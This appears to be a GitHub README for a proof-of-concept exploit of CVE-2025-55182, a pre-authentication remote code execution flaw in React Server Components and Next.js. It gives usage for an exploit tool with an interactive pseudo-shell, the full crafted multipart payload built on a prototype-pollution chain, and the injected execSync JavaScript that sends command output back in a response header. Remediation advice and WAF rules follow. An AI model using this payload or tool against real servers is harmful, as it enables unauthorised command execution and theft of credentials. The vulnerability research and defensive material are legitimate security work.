lvx9101-ux/CVE-2025-55182
GitHub: lvx9101-ux/CVE-2025-55182
Stars: 0 | Forks: 0
# CVE-2025-55182 — React Server Components Pre-Auth RCE ("React2Shell")
## ⚠️ Important notice
Patches for this vulnerability have been **publicly available since December 3, 2025**.
This repository exists for educational and research purposes: understanding the mechanics helps defenders detect and remediate faster.
Active exploitation has been observed by Wiz Research, Amazon Threat Intelligence, Datadog, and Unit 42.
**If you are a system owner, patch immediately — do not test against production.**
## Table of Contents
- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Affected Versions](#affected-versions)
- [Proof of Concept](#proof-of-concept)
- [How It Works](#how-it-works)
- [Remediation](#remediation)
- [Disclosure Timeline](#disclosure-timeline)
- [References](#references)
- [Disclaimer](#disclaimer)
## Overview
CVE-2025-55182 / CVE-2025-66478 is a **pre-authentication Remote Code Execution** vulnerability in the React 19 ecosystem. It affects any application using React Server Components with the App Router — including standard Next.js deployments created with `create-next-app` with no additional configuration.
The vulnerability abuses the RSC "Flight" wire protocol: an attacker sends a crafted `multipart/form-data` POST request that injects arbitrary JavaScript into the RSC parser's `_prefix` field. Because this field is evaluated server-side **before any authentication check**, full OS command execution is achieved with zero credentials.
Command output is exfiltrated **without a reverse shell or callback server** — it travels back inside the `x-action-redirect` response header as Base64, making it firewall-friendly and difficult to detect via egress monitoring alone.
## Vulnerability Details
### Root Cause
The RSC response parser (`react-server-dom-webpack`, `react-server-dom-turbopack`, etc.) deserialises the `_prefix` field of an incoming RSC chunk as executable JavaScript **without sanitisation and without an authentication gate**. Three primitives are chained:
1. __proto__ pollution
"then": "$1:__proto__:then"
→ hijacks Promise resolution in the RSC runtime
2. Function constructor access
"_formData": {"get": "$1:constructor:constructor"}
→ walks the prototype chain to reach the global Function() constructor
3. NEXT_REDIRECT throw
throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `...;/out?a=${output};307;`})
→ Next.js catches this internally and emits a 303 whose x-action-redirect header
carries the attacker-controlled value verbatim
### Why it requires no authentication
Server Actions are dispatched by the presence of the `Next-Action` request header. The framework validates the header format but does **not** enforce session or authentication before deserialising the RSC payload — the exploit fires at the protocol layer, before any application middleware runs.
### Output channel
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/out?a=${base64_output};307;`
});
Next.js catches the throw and emits:
HTTP/1.1 303 See Other
x-action-redirect: /out?a=;push
## Affected Versions
### Next.js (CVE-2025-66478)
| Affected range | Patched version |
|---|---|
| 15.0.0 – 15.0.4 | **15.0.5** |
| 15.1.0 – 15.1.8 | **15.1.9** |
| 15.2.0 – 15.2.5 | **15.2.6** |
| 15.3.0 – 15.3.5 | **15.3.6** |
| 15.4.0 – 15.4.7 | **15.4.8** |
| 15.5.0 – 15.5.6 | **15.5.7** |
| 16.0.0 – 16.0.6 | **16.0.7** |
| 14.3.0-canary.77+ | downgrade to `next@14` stable |
### React (CVE-2025-55182)
| Affected | Patched |
|---|---|
| `react-server-dom-*` 19.0, 19.1.0, 19.1.1, 19.2.0 | **19.0.3 / 19.1.4 / 19.2.3** |
### Other affected frameworks
React Router, Waku, RedwoodSDK, `@parcel/rsc`, `@vitejs/plugin-rsc` — any library bundling `react-server-dom-*`.
**Required conditions:**
- App Router enabled (RSC in use)
- Node.js runtime — not Edge (`child_process` unavailable in Edge)
- No extra developer configuration needed: default `create-next-app` is vulnerable
## Proof of Concept
### Install
git clone https://github.com/lvx9101-ux/CVE-2025-55182
cd CVE-2025-55182
pip install -r requirements.txt
### Usage
# Single command
python3 cve-2025-55182.py -u http://TARGET:3000 -c "id"
# Interactive pseudo-shell
python3 cve-2025-55182.py -u http://TARGET:3000 --shell
# Custom Host header (vhost routing)
python3 cve-2025-55182.py -u http://TARGET:3000 -c "id" --host-header app.internal
# Verbose — print raw HTTP status + response headers
python3 cve-2025-55182.py -u http://TARGET:3000 -c "id" -v
### Expected output
$ python3 cve-2025-55182.py -u http://TARGET:3000 --shell
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝
CVE-2025-55182 | Next.js <= 15.0.4 | Pre-Auth RCE
Author: Paranoid
[*] Target : http://TARGET:3000
[*] Host hdr: TARGET:3000
[*] Pseudo-shell — type 'exit' to quit
--------------------------------------------------
$ id
uid=1000(node) gid=1000(node) groups=1000(node)
$ whoami
node
$ pwd
/opt/app
$ ls
app
next.config.js
node_modules
package.json
package-lock.json
$ exit
[*] Bye.
## How It Works
### Step 1 — Request structure
The script sends `POST /` with three `multipart/form-data` parts and two mandatory headers:
POST / HTTP/1.1
Host:
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
**Part `0` — the poisoned RSC chunk:**
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
**Part `1`** — `"$@0"` — back-reference that triggers evaluation of Part 0.
**Part `2`** — `[]` — empty array to satisfy the RSC argument shape.
### Step 2 — Injected JavaScript
var res = Buffer.from(
process.mainModule.require('child_process').execSync(``)
).toString('base64');
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/out?a=${res};307;`
});
`execSync` runs synchronously — full stdout is captured before the throw.
`Buffer.toString('base64')` encodes output so it survives URL encoding in the header value.
### Step 3 — Extraction
for hdr in ("x-action-redirect", "Location"):
val = r.headers.get(hdr, "")
match = re.search(r'\?a=(.+?)(?:;|$)', val)
if match:
return True, unquote(match.group(1))
The Base64 value is decoded and printed as plaintext.
## Remediation
### 1 — Update immediately
# Pick the patched version for your release line
npm install next@15.0.5 # 15.0.x
npm install next@15.1.9 # 15.1.x
npm install next@15.2.6 # 15.2.x
npm install next@15.3.6 # 15.3.x
npm install next@15.4.8 # 15.4.x
npm install next@15.5.7 # 15.5.x
npm install next@16.0.7 # 16.0.x
npm install next@14 # canary — downgrade to stable 14.x
# Or use the official interactive tool
npx fix-react2shell-next
### 2 — Middleware authentication guard
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
const isServerAction = request.headers.has('Next-Action');
const hasSession = request.cookies.has('session');
if (isServerAction && !hasSession) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}
export const config = {
matcher: ['/((?!_next/static|_next/image|favicon.ico).*)'],
};
### 3 — WAF rule (ModSecurity / OWASP CRS)
SecRule REQUEST_BODY "@contains __proto__" "id:9001,phase:2,deny,status:400"
SecRule REQUEST_BODY "@contains constructor" "id:9002,phase:2,deny,status:400"
SecRule REQUEST_BODY "@contains NEXT_REDIRECT" "id:9003,phase:2,deny,status:400"
### 4 — Rotate secrets after patching
After patching and redeploying, rotate all application secrets — exploitation leaves no guaranteed trace in application logs.
## Disclosure Timeline
| Date | Event |
|---|---|
| Pre-disclosure | Lachlan Davidson discovers the vulnerability and reports it responsibly to the React / Vercel security teams |
| **Dec 3, 2025** | React publishes CVE-2025-55182; Next.js publishes CVE-2025-66478; patches shipped to npm |
| **Dec 4, 2025** | Public exploit code appears; Vercel deploys WAF rules globally |
| **Dec 5, 2025** | Active in-the-wild exploitation observed (Wiz, Amazon, Datadog, Unit 42) |
| **Dec 10–15, 2025** | Post-exploitation activity: cloud credential harvesting, cryptocurrency mining |
| **Dec 11, 2025** | Follow-up Next.js security update for CVE-2025-55183 and CVE-2025-55184 |
## References
- [React official advisory — CVE-2025-55182](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components)
- [Next.js advisory — CVE-2025-66478](https://nextjs.org/blog/CVE-2025-66478)
- [Vercel React2Shell security bulletin](https://vercel.com/kb/bulletin/react2shell)
- [Wiz Research — React2Shell technical analysis](https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182)
- [Microsoft Security Blog — defending against React2Shell](https://www.microsoft.com/en-us/security/blog/2025/12/15/defending-against-the-cve-2025-55182-react2shell-vulnerability-in-react-server-components)
- [Trend Micro — PoC landscape and in-the-wild analysis](https://www.trendmicro.com/en_us/research/25/l/CVE-2025-55182-analysis-poc-itw.html)
- [Unit 42 — exploitation activity](https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/)
- [NVD entry — CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
- [Prototype pollution — PortSwigger Web Security Academy](https://portswigger.net/web-security/prototype-pollution)
## Disclaimer
This repository is published strictly for **educational and research purposes**.
- Patches have been publicly available since **December 3, 2025**. This vulnerability is fully patched, publicly documented, and has been actively exploited in the wild — this PoC does not disclose any new information.
- Do **not** use this tool against any system you do not own or have **explicit written authorisation** to test.
- The author assumes **no liability** for any misuse of this material.
- Unauthorised use may violate the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act (CMA), and equivalent legislation in your jurisdiction.